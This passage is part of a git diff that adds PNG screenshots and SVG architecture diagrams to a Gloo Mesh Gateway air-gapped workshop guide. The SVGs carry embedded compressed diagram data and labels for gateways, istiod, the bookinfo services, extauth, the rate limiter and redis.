0eYjqeAXHUwMDBmiDKMmIp+mFx1MDAxZL7/McWGWHJcdTAwMTSucoTFtqVytlx1MDAwMlx1MDAwZbkp52hcdTAwMDJcdTAwMWJ+wOGngsMleGpcdTAwMGLgMOTgQlx1MDAwNNpwzCRcdTAwMTBwvUKhoXDJXHUwMDE304NcdTAwMGLBmKWVOf5cdTAwMTKSm+TTXHUwMDA1NqXKklx1MDAwMJGFqTkhXHUwMDFjXHUwMDE5sFs9uVDawkSZtGfzk1win3p7xNKCcLhHOeNcXGPqSZeAXHUwMDFiVJiy1Dvj3691dGFcdTAwMGVllZi1YTZZyj7nXHUwMDE2JsFcdTAwMDBhkzMrfkWE/n7HiudcdTAwMTbhXGZ84D63kMjkXGZIQpg23dh9umxii0gsXGLiXG7eXCJcdTAwMTnxnlx1MDAxM3+xhpaB1G2uhJew5+P95XxdXbpJXHUwMDEyXGZDNGVwn85TbZeLt1BcdTAwMDBcdTAwMTZT8aaxtpjGJkSSwc+FkqIg3mD5XHQ3XHUwMDE5XHUwMDExgjiram23XHUwMDFiOVx1MDAxMFx1MDAwMGNYYVOdW2O/fFBsMcSAUaniplx1MDAxMlx1MDAwMkNcdTAwMWV8YvpXI0z/5dItsiwxKdnaVILCmEiTi45cdTAwMWTplPNcdTAwMDYtXHUwMDE4XHUwMDExmCA1ZVxcNFx1MDAxMt7ItUhcdTAwMDJumrd740LttlO4f32RpdrrYIyv/CeFlKl4pDRcdTAwMTdYm3hb77msNIUtmVx1MDAwMoqjhlx1MDAwMenXjqZcdTAwMGKmbXMlvGS9NeGmULD73WRVXHRzJlx1MDAxZlm4hVx1MDAxZmjEU7iB2raUMDmCXHUwMDE0JFx1MDAxY3Ugot+yzbSn0CC5JJKSqOB44Y2gXHUwMDFisyiTWDLMZ/Xv/GKFgVUpRUa+MpN3z71cdTAwMWTymDB9u4ja3UFtLKRbuFx1MDAxZtyNlDBcdTAwMDKFZSpsXHUwMDEwqijYsD6tv7llwomkkHhWXHUwMDE0cs1g4edUt3pRerpcdTAwMWTlipnKVU9cck/LV9Mg+Fx1MDAwNpKNXHUwMDEzU4JIilnIsGdSYNVzXHUwMDAweMxkMChcdTAwMDDjW2lHvr+wk0Dynt31Uvb2sJsjXHUwMDFmfEG8XHQhjD+cR4du4ceq8ZRuWprO9mC+KIONqVo8XFykXHUwMDAy7Fx1MDAxYlxyQo5cdTAwMDBJXCK+I+m2XHLDXHUwMDE0MIiAO+rfbplGlm4g3DTSnDJl2sk5W7s5rUApNGhwZILxhf5cYsRfXHUwMDE1ukVcdTAwMGZhxqaZXHUwMDE5QqbsmmldzLyyTVtAXHUwMDAzIG2ZoKbAzFZcIur+xYZp+JlscFx1MDAxNyPMuSn6jlfo9lx1MDAxMt7XMa4ucsa169jVXHLgQN1Y3HlaullcdTAwMTPjIFx1MDAxMUeQckVpML8yx0RY2nk5pvInS12YNHfB4lx1MDAxOWp3mKFVfpPKtlHtpJS4OrffipfO9uVcdTAwMWWV/HEn/FBqT72T12c7olx1MDAwMl1CRFx1MDAxYf8p4tFcdTAwMGamXkm3YF+q9tv5bZVNSuwhUTg5Wlx1MDAwN1YsUvYueU65olmROz2eUlx1MDAxY5XnXCIkWf5X2WblatnLc2tGQoBccme8ovFkscRL+3GCn3r0TFxy71uv6lx1MDAxNVx1MDAxN9NP/qzwXHUwMDEzXHSx+rhbX95lQVx1MDAwMP5cdTAwMGb8XHUwMDA0+Vx1MDAxNXSoToLj8E3JeErwXG5JRuHLXHUwMDE5W8CgZKjwki6pXHUwMDEyXCK8XHUwMDE2Q7R2dKauqFJUKLQ/ibWHI3UwSPowu4N/OjV44Lg0cS7zzk/Tl+jkxdP0P5P9M9X1kYUzn3cxv1x1MDAxOVx1MDAwYiWUo7jzcjx/dng/nuSTz3fvvXxcIotoXHUwMDE3pfOxR1x1MDAxNiiEOVx1MDAxOZHxRVx1MDAxNkKZXqSAL2KJLM5cdTAwMWZei88v+fvCuM5qXHUwMDE3Pckukq3aXHUwMDBmsthcdTAwMTay2NHy7mhY/NCpiMpDsdy0XHUwMDFmj9Fh6v5cYo1vNlqFZUDI/4vsXHUwMDExXGJRXHUwMDExfKyPpTn3UlwiOlx1MDAxMlxu36f4XCIhXHUwMDFlJmwpjVx1MDAxOVx1MDAxMsJcdTAwMTKBaW3iIL9cdTAwMTNcdTAwMTSyS4Ph2Fx1MDAxZVxm94SFlqCIRSz0MdvNwVx1MDAxMKfB3k1suvqJXHUwMDE13Cyn6dyZXHUwMDE4Y67O+idv04fDqlLDbuw5VGJsmaJcdTAwMWF/Lnf8L9HMlTpcdTAwMTZv3yZcdTAwMTdYSrbDolxicfRtJmyaf2G6PeSTVO1cdTAwMDaps9Z7Ylx1MDAxYjimelm+K56/JJLdczqyO2/ZzD2ZRlx1MDAxYndnqja8XHUwMDAwQHA/RoxcdTAwMTVcdTAwMTamSUj00k1v4iZ7nTo8zZ82y1M+vVZcdTAwMDPWjrtpI1x1MDAxN2JL6ELi52a2XGbglbLtXHUwMDE3N7eWLYNcdTAwMTGV1JRW3l+SZ1x1MDAxOPXf6rth8yzTXHUwMDFhXHUwMDE1XHUwMDFhh8Ps9IU+yYvR5rD4x5jZ6fJufdhlRof/XHUwMDAzP0FcdTAwMTJcdTAwMDZcdTAwMTlcdTAwMWSMXHUwMDA3lq9TkjJcIjiOLlx1MDAwM8OXM7aIZqGbXGYl3MKRpOBOjFxm4lx1MDAwNSqmtLtimH+rXHUwMDE0JngpjVx1MDAxY+WcnZaFI4RgNcti2HV8y1x1MDAwNbNiiVx1MDAwNveYXHUwMDE1v+e3XHUwMDAxXHUwMDAwkYG1cWHLiWk6RqLnrz/kbsWw9jB5vX9lqo1KefE6pbFcdTAwMDcgzMVqbjjCmI4vXHUwMDFjUabenlwiO1xm/tpcdTAwMDSOlOj1Mz96L7+89Vx1MDAxYZVR9jIxuTh//YEj24IjO1rerzLsMpTj/8A9olx1MDAxYz7v4eppXHUwMDFloYnEapVcIr3hy1x1MDAxOV+Uo8NErZAxwzymXHJcdTAwMTHHao/OmT1gnj485qDVaDeGXHUwMDAxydprXHUwMDAznyUu1SXgYVx1MDAxMfu45rlcdTAwMDFcdTAwMDBigaFcdTAwMWZcdTAwMDRcdNNhXkVcdTAwMGaGv2vctHLTt0RH5srHp0+dvrhcdTAwMTmj2ONcdTAwMWZ3XjaV8UU80mSraEc+XqxcdTAwMDCP/VCvJ890MX3WqVxcXHUwMDEyxF9cdTAwMTE+qvxcdTAwMDCebVx1MDAwMZ5cdTAwMWQt7zdcdTAwMWZ2XHUwMDE5jvJ/4D5xXHUwMDE0Vot/nWeem/bcYpXM8/D1jC+Qclx1MDAxZnlRXHUwMDFkO+jEiVx1MDAxMlp8rzPpvl1tXGY+XHUwMDE1My1cdTAwMDFcdTAwMWNcdTAwMWXMNJvgWmxHSTDbMaRN6tJcbufOw6s3Wrh4aiUv8/SydTjIidz77TpA6Vx1MDAxM5lOI2JcdTAwMTFcdTAwMTAwXHUwMDE0Sa5NN1x1MDAxMVx1MDAxN1x1MDAwYmIkLYpcdTAwMTDmIISk0FRvduxcdTAwMWOEm1xi9anwID1Zz1xmKUFcdTAwMTXZY639MCW2p2NaX+ZWUZm71up2XHUwMDEzbXtQT5Sq1W5n8E+nU4JfgYJsX5ZcdTAwMTfrRp6E+Idd32KRucMmXHUwMDE4yvKBmcJcdTAwMDJcdTAwMDeHxVOKleSrZFxuh+96THlcdTAwMWWMIVx0LC9NwVxy+MbutmlYMUszhFx1MDAxOVx1MDAwMYrjzjaq22R5TKjFTXtcdTAwMGZKXGIsuPLpd6mFhVx1MDAxOGdGODGOhfZcdTAwMWFOXGaZSrQx7r0hQjk2YppwuFo5WGhzQVx0U/BTYVwiXHUwMDE1V45cZtXfObncXHUwMDEy1DQl45gr07hwzVx1MDAxYVbhMVbuSTGlXHUwMDE5Jlx1MDAwMplcdTAwMGVcdTAwMWNcdTAwMTRcdTAwMTOfwlrUMs2HmZLMdFx1MDAxYaY+bdy+VFx1MDAxMYRA4jaXh6znw/3lfF1dsDl6IXtOvUz7SeD26M7Yy2FOvT9cdTAwMTP1cl5cdTAwMTFcdTAwMDQ/JNtv/Hgtr88nXG42oDOLU6w54lpcIrJYX51cYmIhRTQwKIA75ri9TtXmIMnGqUU05abDkSSUO/o5zotXYWExQqnptmFMO49kXHUwMDAzXFwqQYrEt7rLSoItuFx1MDAwYm+QdNGl4XnlpCFGbfqePdPdRiaXLvtJXHUwMDE3ZFGClZJmtzFhSMytxFx1MDAwZulClKU1bFx0yFx1MDAxZiYxUnQrXHUwMDA18vYnXVx1MDAwMlx0bHbXQ1sripclYbrBTWfxrFx1MDAxYiZD0UVMvll7VEfT0fVl67VzZN+nh+N0UCR9TERcZifuQL5cdTAwMDWPXHUwMDA1RZai82szXHUwMDAxs92y8KbiXHUwMDE4XHUwMDA2ZVx1MDAxNM9j9f5ccn3q6WvVT91cdTAwMGUuRrXn81x1MDAxNupcdTAwMDbE5P54mVdcdTAwMWZ3R8v7tYbdflx1MDAwZp5lbmb/LzJcdTAwMWbWw1U7r7OOgjOhOGFcdTAwMTKBlIhu+4bvU0zdzKDCwiQ4U1x1MDAxNt2WXHUwMDA034rPmZhW086Ghd/B59zpXHUwMDBlXHUwMDEzjc7M7/OpnucliGTROeWc5vqgipLgRtdgw4CVSKJjqsLkvJJ8SpNs4VxipZ5cdTAwMGZcdTAwMDeN3Fx1MDAxOS/G+7CeL2R6u602RrhcdTAwMDWm9J/L1V16jaP77YIqKbHUVMY0deL1KnueuWplWvVx5rCSZjfZ4/Pu5np0R8PuXG6rXZ9XJm+saY/oZfKmkm00XHUwMDFiXHUwMDBmr+0tjPt2xFS5kFx1MDAwNSVx1385uanS4/xcdTAwMWLawrhfZdeWgVx1MDAxZv9cdTAwMDfuXHUwMDEx/FBcdTAwMTZovJpKUSBrV+g/XHUwMDE4vpwxxj4hkpZcdTAwMTFLbk3Sblx1MDAwM/xIXHUwMDA01jRcdTAwMTF7XGZcdTAwMDXfSzmcz8c9S1CDt1xiTlx1MDAwNMxcdTAwMTNcXI0h8MydYKSVQFx1MDAxY0Xnw/PmYyHXXHUwMDFkX9nlYU41L9hh9Tax3Uq9W+dCiVx1MDAwMGpcdTAwMDCww6b1NpOeXHUwMDBlMsxizHSPQbBcdTAwMTKwXHUwMDE0wT1cdTAwMTY2On9jPlx1MDAwMMd75G5cdTAwMWE+XHUwMDAwvFx1MDAxMXp/pXjDlNogc9tcdTAwMTOJcrKCbI37T/27fJ/2o+ngTdSPL4NHPnOvXHUwMDBmh71yo1x1MDAxM7ujdp95hTJ48EGUXHUwMDBlPmFnppJcdTAwMDPYs9HrrYTvcTw5nJruoaakO6OMkoU0SKx+XHUwMDFkQ2nNpaDCXHUwMDEx97tVXHUwMDA2R9pigmhBKKaUXHUwMDEz5Vx1MDAxM2KjlKVNv1x1MDAwZlwiNVx1MDAxNlxcO0XNn1xumnCLc7270ORYnLCHK5GDhVx1MDAxM3bYMUSYKWOAqZLC8Ta/XHUwMDEzdlwivGWvI52BVSty1D3h7cJFr1STybN0q3lBXHUwMDAyJiXgKUJcblx1MDAwZfLKXHUwMDFjfnrLg1x1MDAxM2RcdTAwMTHYTGxcdTAwMGU+Tdsy+sXbXGZcdTAwMDRTt7k8dD1cdTAwMWbvL+frypItuE0lkISQzLTliCzYXHUwMDEy13fdTOZcZpeHg1I3WyNccvtFNONuQph67s42ldpcdTAwMWQ8pJDLfSqDg4dcIsTsXHUwMDA2XHUwMDE27ZNOO1x1MDAwNVx1MDAwMJRPl1x1MDAwMTyf9p+afVx1MDAxMnHTeCeu0ULLsEbkQ3XXna/E1YHbai5g+Vx1MDAxNbk4yFx1MDAwMMGO6mZcdTAwMGJcXCyBoskqpaZcdTAwMWVqvdbRRaGepYPsqyzU6MXg/Sz2PIxcYnWxqbtcdTAwMTjcrE2Sg8NDXGaQXGKn2IGFN6WXaVx1MDAxZFx1MDAwMUy/mVx1MDAxNkxcdTAwMGaspN5ltuJuuXYtXHUwMDE3wFx1MDAxYva3/pXrnbu3XGJgXHUwMDFl63GYXGbWk7PucmhcdTAwMDU1WTgtnuHbs9fRXV+Nx6Iyvm3WhrFnMcyIhcXHJVx1MDAxNzhMuvhvo17OgVx1MDAxY0b8ird5OGxWXHUwMDAyZYdcdTAwMDWn48heJCbsRdZkL1x1MDAxMVhfzViVYJSw6Oz1mOaHk2b6uJesj1VJ3tdF7i5cdTAwMWJ79lJaWXReLVF42MuZOFx1MDAxNmJg71xcgWFiXCKaXHUwMDA1Y7s7XCLcxIE2TbROc7SdXCLiUtyQo1xcJjNq8j050L6PetSBXHUwMDFlcC4lV1x1MDAwNK/gXHUwMDAwb15e2oUszj09Tk9ady/302u7elx1MDAxOXf+JVxiXHUwMDAzi87NSI09XGbMnddcdTAwMWX1I0dcdTAwMTJrQmVcXHvR/WhIXHUwMDFmXHUwMDBlI8EhNXh2pMhcdTAwMWQ99JaymG7ZqVxmOX5+nVx1MDAxY55cdTAwMTYmOn/avUq9fVx0XHUwMDE2c9byXdCRXFw7WWxHXGLUJ6vLR0WatGqGyPcy8WhMOIxuUrXbUUVmMXJNMSbJXG5V9lx1MDAwZbvvZ+3bw7Nk2u6J+8fikX48XHUwMDFlXHUwMDA0MFlMjnmEcZRooUyIpvm5mG7EkEWoQprPfoo4ZVx1MDAwM0ht8tOY0DvjuU1cdTAwMDLXzjLn4+LDZSbZOk7f0aHAg0HnNL5cdTAwMTFmXy1cdTAwMWJgR8v7tYbdfjbAjqa7LM7O/4HzYT3MuvMkXHUwMDAzXHUwMDE5mIfKXHUwMDA0olhjXHUwMDE1/fQ/fDljir2ExqGKgUtLbksxbCPOjoHFiVx1MDAxOXOUPfhcdTAwMDZxdlx1MDAwM8A11VK/enDXrfpjsVx1MDAxZFx1MDAwNdstQTqLXGLNNc/1sVx1MDAxYUOBQTmcYWEq7kZmylc6nN6X++nzUebx6fDsNFd/aup1sNrnJVx1MDAxOVxixS0250i2XHUwMDEwdGdKk/9mR/OTXHUwMDA0n3l9fpJcdTAwMDEmhEmFkNhcdTAwMWZ7him8YT9/qcqVi8duP9Xrq3N2p+62oJ93NOxPlsFX3LWtXHUwMDBmu1xmVPk/cI+givHgzE3KQGJpJaNniYWvZ2xRXHUwMDE1XG5cdTAwMTXhjFpsW1wifCupm5hSpjnS31xuVlx1MDAwMUo5XHUwMDE4N4b1g2Tnrevfvm5XwGpcdCxZXHUwMDA0Vlx1MDAwYjNdXHUwMDFmWnFcdTAwMTRcXHhcdTAwMDdcdTAwMTOkXGJcdTAwMTM0usXTXHUwMDFld+96/Dp//Fxcv5z2R+hcdTAwMWVcdTAwMWRlXHUwMDEycXeEXHUwMDAxrqFzg8dcdTAwMWRPhFx1MDAxOWbWnDGxI9hgm3V31lx1MDAwNFdUSzDBiCPmK07g6uhsUK10SoXSMVx1MDAxOVx1MDAwZY6ytsq01Ft8UdBX84TtaHl3NOyDvteKqmzz5emqX1Pjk9HruLlccuzaQIm2rFx1MDAxN3LN3E3mTbRcdTAwMTLCrre2MG5cdTAwMTZVZK2E+pf4YZgrpU5QXG6/drYwbpdWXHUwMDBiL1x1MDAwNTVcdTAwMTHVXHUwMDFie9i86PWK9+3SXHUwMDE2xr0ppWi+fWeXefmmmDrOXHUwMDEz2lxi2rYtXHUwMDE1XGLxJ5Q9wkznSaC3c1x1MDAxMuJIcVx1MDAxMf3gNJxcdTAwMGbiXG4zlVx1MDAwZVVmlFgokjL7rKrUXG4xQlx1MDAxMcP7O8vZXHUwMDAzzEy1ut2Da3tQ/3T33Vx1MDAxMny2iDLdXHUwMDEz3Vx1MDAwMGRcdTAwMDaXrVWYYMSdpWyWVu5Jpp8np8dcdTAwMTdcdTAwMWQ+tK/P2uRqdNq9+lpcdTAwMTiTudmSI2qhuVx1MDAwN0/vKOZvLYxpXHUwMDEyg0BQ6HhcdTAwMWW2jo7EU1x1MDAxN+F+Kp9BjUnv6XDaXCLiXHUwMDA3Ym5cdTAwMGJi7mh5v9awn196zf+L7Fx1MDAxM1lcdTAwMDWfimpcdTAwMGX/XHUwMDExvEI/2PBt+lwiwGpRglx1MDAxM2TxSFx1MDAxMvyTgJVcdTAwMDRbS3HuSFX/XHUwMDA2uOp8MGx0P1x1MDAxZFMtwSOLmGo+yfVYkVx1MDAwNXf9XHUwMDAwysRSr9L1XHUwMDAzjVx1MDAxYomTx5Ph08l5fiREa2jf547izovSNKT/cKVTvVx1MDAxMKFcdTAwMDC2XkRf+qZcdTAwMTFcblx1MDAwZef4XHUwMDA3K1JPiCjTUiPkTEWMXHUwMDEzgmo+s1TuXHUwMDExZV+71+PukNcyteTtczTttolcdTAwMWHyZfTIVUiu7Jrd8edyR9ju51x1MDAwNKH+nstazCyCs3mZKcKA+FxuVb1SR41KTiWeXi+O3s5lXCKdvM9fX8edlzHX2pKSXG7FXHSjTCF3smHCXHUwMDE0UORCXHUwMDAzXHUwMDBiXHUwMDExbSpE7I6ZpU9KlJeZMVwiXHUwMDA0XHUwMDBijWU841x1MDAxOZ5cbqnb0cP5YVx1MDAxMZGzh+P22404VLW4c/Nxq+HakX1y8++5hHJzYIVccqmDXHUwMDFkkNpkblx1MDAxMCSi+znC9zKWflx1MDAwZcxcdTAwMTW3OMbIXHUwMDFjXHUwMDFhciGZu3hQXHUwMDAyXHUwMDE0M8PA5oBOXHUwMDE5XHUwMDE11MHsWz1MI6ZcdTAwMTiDkJqb/EmshE9cdTAwMTdcdTAwMGJpYclMXHUwMDAxXHUwMDE20zaMXHUwMDEy7U2dYuZcdTAwMWLsUmvHonpQuNI4cDarwPBkpUEjUcVcdTAwMDFmam97XHUwMDFlzCygcVx1MDAwMZaHkFxuceXthPPvqPWRXGKmMHN5aGs+3l/OVyNyZ0/4u9TrZYawxVx1MDAxZlx1MDAxYvX3W8NcdTAwMWVcdTAwMWZcdTAwMDVH5/31e1GNXHUwMDE0sM3X+p///et//z9cdTAwMDO3RUwifQ== + + + + ingress gatewayeastwest gatewayistiodGloo Mesh agentbookinfo workspacebookinfo-frontendsnamespacebookinfo-backendsnamespacegateways workspaceproductpagedetailsratingsreviewsproductpagedetailsratingsreviewsextauthrate limiterredisistiodGloo Mesh agentGloo Mesh Gateway componentsGloo Mesh management serverGloo Mesh dashboardPrometheusKubernetes clustersistio-gatewaysnamespaceKubernetes APIserverKubernetes APIserveringress gatewayeastwest gatewayextauthrate limiterredisgloo-mesh-addonsnamespacenot-in-meshin-meshhttpbinnamespacev1v2v1v2v3standard PodPod with EnvoyGloo Mesh PodIstio PodLegendClient \ No newline at end of file diff --git a/gloo-mesh/gateway/2-4/airgap/standalone/images/steps/deploy-bookinfo/bookinfo-working.png b/gloo-mesh/gateway/2-4/airgap/standalone/images/steps/deploy-bookinfo/bookinfo-working.png new file mode 100644 index 0000000000..102fec36e5 Binary files /dev/null and b/gloo-mesh/gateway/2-4/airgap/standalone/images/steps/deploy-bookinfo/bookinfo-working.png differ diff --git a/gloo-mesh/gateway/2-4/airgap/standalone/images/steps/deploy-bookinfo/initial-setup.png b/gloo-mesh/gateway/2-4/airgap/standalone/images/steps/deploy-bookinfo/initial-setup.png new file mode 100644 index 0000000000..6808fffb22 Binary files /dev/null and b/gloo-mesh/gateway/2-4/airgap/standalone/images/steps/deploy-bookinfo/initial-setup.png differ diff --git a/gloo-mesh/gateway/2-4/airgap/standalone/images/steps/deploy-gloo-mesh-addons/gloo-mesh-workshop-environment.svg b/gloo-mesh/gateway/2-4/airgap/standalone/images/steps/deploy-gloo-mesh-addons/gloo-mesh-workshop-environment.svg new file mode 100644 index 0000000000..b385df0718 --- /dev/null +++ b/gloo-mesh/gateway/2-4/airgap/standalone/images/steps/deploy-gloo-mesh-addons/gloo-mesh-workshop-environment.svg @@ -0,0 +1,16 @@ + + + eyJ2ZXJzaW9uIjoiMSIsImVuY29kaW5nIjoiYnN0cmluZyIsImNvbXByZXNzZWQiOnRydWUsImVuY29kZWQiOiJ4nO19V3fiyrbu+/pcdTAwMTVcdTAwMWXrvG50Kof9Zlx1MDAxYlx1MDAxYjDGXHRcdTAwMWPvOsODnINcdCbssf/7nUV3XHUwMDFiXHUwMDAxklx1MDAxMCBcdTAwMTm521pr4DbgUqlqhm/OmuE/f1x1MDAxZFx1MDAxZP09nPbKf//76O/ypJhv1Uv9/Pjvf5n338v9Qb3bgY/I/PdBd9Qvzr9ZXHUwMDFiXHUwMDBle4N//+//5ns9a/FXVrHb/vGX5Va5Xe5cZlx1MDAwN/Dd/1x1MDAwN79cdTAwMWZcdTAwMWT9Z/5qu1e/XFxcdTAwMWPmO9VWef5cdTAwMDfzj1x1MDAxNrfjnK++e9XtzG+NhZaaXCLE0Mc36oM43G9YLsHHlXxrUF58Yt76+7w9QrHe5eCsl34/K43bVzzWeVxc3LZSb7Wyw2nrx4Pli7VR3zapwbDfbZZcdTAwMWbrpWHN3H3l/Y+/XHUwMDFidGFcdFx1MDAxNn/V746qtU55MFj6m24vX6xcdTAwMGan5j20mP6PVfj30eKdXHT8RpWylFx1MDAxNopwal5cdTAwMDVjXHUwMDFmXHUwMDFmm1x1MDAwMVxiVtxinCrNpUZYKLEys9Nuq9s3M/tcdTAwMWakZIVcdTAwMTdcdTAwMTZzK+SLzSpMsFNafFx1MDAwN5OCUmLxnfHP5yVIWcR2scVtauV6tTY03yHC0vZrMdNBeb4pmGtMMaFYfnxiJtBLlVx1MDAxNlx1MDAwNPLjydrj8lNXvqTvdOP5ZNa4XHUwMDE2T/nE3z8//7/Vta/l+72fa/z3wPxie0bzeGerRGgnRFx1MDAxYn3ESrXL4clJ/4lcdTAwMGXq8Vx1MDAxY84lqy/V9sdYS1Sb7/e7478/Pvnvv7zGPc6Wp685hTp3pNcrXHUwMDE3XHUwMDE0fjx7XHUwMDFj+1x1MDAxYnftkUe9Uv5cdTAwMDeFY8G4QFJjjpD++LxV7zThw86o1frLNrMt2U66slx1MDAxZEFCcso08c92z/dx/ZRcdTAwMWZcdTAwMGZ05qxxfH7x3jg/e+pHne00lpZUXFxiRswrx6tcXCctIVx1MDAwNcZcblx1MDAwMT3r1XlFiulcdTAwMTQnXHUwMDAyMcb478Z0h2FcdTAwMGVcdTAwMTDDrjpJS8SZVlj4Zo7K+UNvNuVP15Na/EE2R2/1tMBRZ1x1MDAwZUyEUTqEKqTNq+15f3BcdTAwMDdRXHUwMDE29sVcdTAwMWTzy5M7hv18Z9DL94GW1jlEablM/etcZqJcdTAwMTSxhO3ia/xcdTAwMDEgXHUwMDAzaVx1MDAwNuozNP6YP9GO/DE5TsVbydH5XaeNplx1MDAxM10jJN4+XHRAKWX02Tj/1rzqXHJp8eG8NqtcdTAwMTT5STLKfEcodec7QINMXHUwMDEySXzzXHUwMDFkqzwkX1x1MDAxZtHTRbMyzHdcdTAwMGJcIsNexUPU+Y5cdTAwMTK8xHarUPDT2E7RzWyHV1x1MDAxOU1IzZFE4nB89tkwirjCKED1XFxtY7vgVqr7Um/djuOF19FFXHUwMDAy3V9cXFc6UadXwahFXHUwMDE2IIrJXHUwMDE1elx1MDAwNTL6KiBKXHUwMDAz9UpcZlx1MDAxNPxccqJcdTAwMDJcdTAwMTHmNlpYYVxyLSjsXHUwMDEypv4x1INM3k5z3f5LoS5a99fTXFxcdTAwMTnfXHUwMDE2o85cdTAwMWKYXHUwMDEy6oWhXHUwMDE4QFx1MDAxYn/CfFx1MDAwZuaQXGJtXHUwMDEy5JisXHRyTFx1MDAxOMeCUP7NXGbBWFx1MDAxNMTVolx1MDAxMIY+XHUwMDA0Qso3M3D5fnrdSZ2nrkqZp4vLbvfmvsm+XHUwMDAwMzAvZlx1MDAxMFx1MDAxNFx1MDAwMzNQqVx1MDAxNehcdTAwMGLGbUgwYG5w0FxyoD+Q/aJr7MC4Ns5IXHUwMDFi4olcdTAwMTI7ZHmrzq9Qo9K8f3/Fk+brsKkzUWZcdTAwMDfCtVx1MDAxYjtgJTFXXHUwMDE07uybXHUwMDFmaKv8wmdXx6excrdwPcs+ijx+duGHXHUwMDE1ul7mXHUwMDA29mncoFx1MDAxOfKC+YRwf7BJXHRS1kVvXiiUWaFUWOdcdTAwMDXYXzey/2Bccts+/WRcdTAwMDVcdTAwMDJITzJcckgpkqzATmW9Pk1P6rNB6rmYenvIvNw9ObPCsDxcdTAwMTn6NaXlsF5cdTAwMTiUZ4pcXDzVW0/tSqz8RJk/XHUwMDBl81x1MDAxY/fs9fZcdTAwMTRn2MW4W8jgm6ehTicn2Vx1MDAwMMYtvlx1MDAxN1x1MDAxMjLeOWnk6jSrktNcXOP0rFx1MDAxMMC4gS/v0rf/5feGnyC/liZkXHUwMDE3XUKtvvtLdEmCXHUwMDE4lYj51+Tey1x1MDAxOVFNrlx1MDAxOfeUXXNF7kN2VebX7i5cbsxcdTAwMTd3/lx1MDAxMFi2xf+AssqILFx1MDAxNaJTYpPA2ok6XHUwMDE3VNDtXGaz9dmPo5mld8/z7XprurSRc7KFKdU71T7M7uifTlx1MDAxNW44zk/t6zwow33MeGz5XHUwMDBmj1v1amcuPmDm5f5cdTAwMTL5XHUwMDBm68V86+NcdTAwMGLteqlkV+1FmE1cdTAwMWXG7Kf8aORuv16td/Kt3Mpkf011XHUwMDBmnI1cXD2IXHUwMDA0YYYo1rbT1U3s2Ym9VZq3r2zYXHUwMDFmXGZcbunn0UXx6aFcdTAwMWJxYEGVXHUwMDE3c1x1MDAxYfdiRIFcdTAwMDVWlGKOcURNzpvb02b5tjjEN+piJG5ztH99V/9cdTAwMDZcdTAwMTZBXHUwMDAxi5CWN6Rh8UOnKIpcdTAwMGavhUb58Vx1MDAxNFx1MDAxZCduT9D4aq9V2ISDnFx1MDAxZuSAOIhSV1x1MDAxM04gKlx1MDAxOVwiW1x1MDAxY5F6b1NkcVx1MDAxMPVcdTAwMTa1Pr17n4SDtORcdTAwMDJsa3E48XpcdTAwMDBcdTAwMThUzlx1MDAwZobj8mB4IFx1MDAxY7RcdTAwMDFArOKgj9nuXHUwMDBmhJh2XHUwMDBmq5NcdTAwMWEpQYE2ffPn+9tlazaJo0lcdTAwMGY1Y1wi+XLzcjyTu1x1MDAwMKHP406GMYBcdTAwMTCpqeDzV8WX2dPEXHUwMDE1gKlcIiTlQmpmXHUwMDBmXHUwMDFh2P4oNWAopCkmXFyC0Vx1MDAxMkkk9FhcdTAwMWFeXGLSnd70aa/+8DaoX15cctU3XHUwMDEyXG5cblx0hbS8X2tYfdNcdTAwMTncXHUwMDE2+o/907ebVK1500mfdYuhXHUwMDAyLOdcdTAwMDc5IMDizCNcdTAwMTiGaVx1MDAwMVx1MDAwMFx1MDAwYvk3Zb33KaJcYoth4SnDNWaW9CXDQ8FYxCn6WXOq5Fx1MDAwMc+JXHUwMDBl4WtcdTAwMWFcZuvdkiOwsoWBXHUwMDA3XG6sNlx1MDAwMJI1XHUwMDA3049cdTAwMTnuXHUwMDBlpzjCbswoJOFcXCn/x1VvV7Fav/VA05fJXG7jnbvXYWVcdTAwMTiLNpjS3JxHMTDs8Px1xdTRXGJZ1PhYXHUwMDE5sCHiypVccv1AKUJUoexwdLtcdTAwMWKUkkgzmDM/nPPXS83VrnLi+PjhWlx1MDAxNFxump89ptl5vdb8hlJBQamQljekYVx1MDAxZvStVlTlXHUwMDFhzZfLflWN46O3cSOIMOA6irVl7fm+cX+VfVx1MDAxN62YKNdaXHUwMDAxjJtDRVnNo35cdTAwMWE/XGbv84k4SuC3Tlx1MDAwMOPOzmfNaY7G6tPS8SnNPqJp9+YygHEvejSNxqiXbJ/eXlxmxmM8fMzul/uzXHRTOlx1MDAxM8ohMSX1SLab345y/1x1MDAwMdbefFx1MDAxMFFMXHTA2VuVcUv5UWWf5LXjJqHOeFx1MDAxN/8kQJlodbtHmfKgdvRPJ19dWr5PcNptwGer2HIx2Vx1MDAxZlPdiTFcdHZccpalTFx1MDAxMqX0XHUwMDE2tl7p8bWp758v4iedi+dMNf/+ftq+jzbAJCZcdTAwMDbPIzqQXHUwMDEzXHUwMDFkXFxcdTAwMWO5XHUwMDFiwiQ29vtgSVvCyUcwoFJCwFx1MDAwYlxyjSdDyXJw5EnllydcdTAwMGLdbrPeqXRjlT58sdwpXHL+6XTy7TJcYrhi2ZE/xa78Oez23Jhz6TlWOdF7irvxJfeI9uGUKKH9e9FcdTAwMDfvJ9XRuEbPXG7ppFx1MDAxOOZcdTAwMDGLXHUwMDE1T4dR50ssLe3Ol1x1MDAxMpHgQthd+ZI6XHUwMDA0ra/zJWHMxFx1MDAwZoeYeb5Pkt+BYnRcdTAwMDNierNd0eZ5p1x1MDAxOXqy/I9VduB5qt2Dk2GhucTbZCF6pypElempxaUmXGYoSyMqVpWxJJY0XHUwMDE310hTtV+kvqu7R1xui2vNNFx1MDAxN1x1MDAxY1x1MDAxOFvJdVx1MDAxMYAsmCHIJS2RYFx1MDAxMittS/z6KVx1MDAxM1x1MDAxOFx1MDAxNYxRXHUwMDE1ovsnXFxVPVx1MDAxOOb7w5N6p1TvVFc/XHUwMDAzal98spA4v1xusqR8JE7NJUBxNPixmJRcdTAwMGJcboJcdTAwMWN2XHI2RWBq+1Y13zPzJlx1MDAxNidcdTAwMTKWXHUwMDE0a9BcdTAwMGKCXGL+81x1MDAxYv9dPER+MDztttv1ITzqTbfeXHUwMDE5Oj7SsWG+Wjm/xt/wUPbPVrm0Z0ZcXN67xb+OXHUwMDE2dDz/5ePf//cvx2/HXFxpbP6pXHUwMDAzeS1G/Mv+c2tcdTAwMTHDJFt9d5H/oDXnmPhcdTAwMGZcIvbWLFGVMCBCuElnllJcdTAwMGK79fNcdTAwMDNWUFx1MDAwZZTGQLiYY1x1MDAxZrkyr3BcdTAwMDRcZnHwJyNLXHUwMDEzXG5izkR2X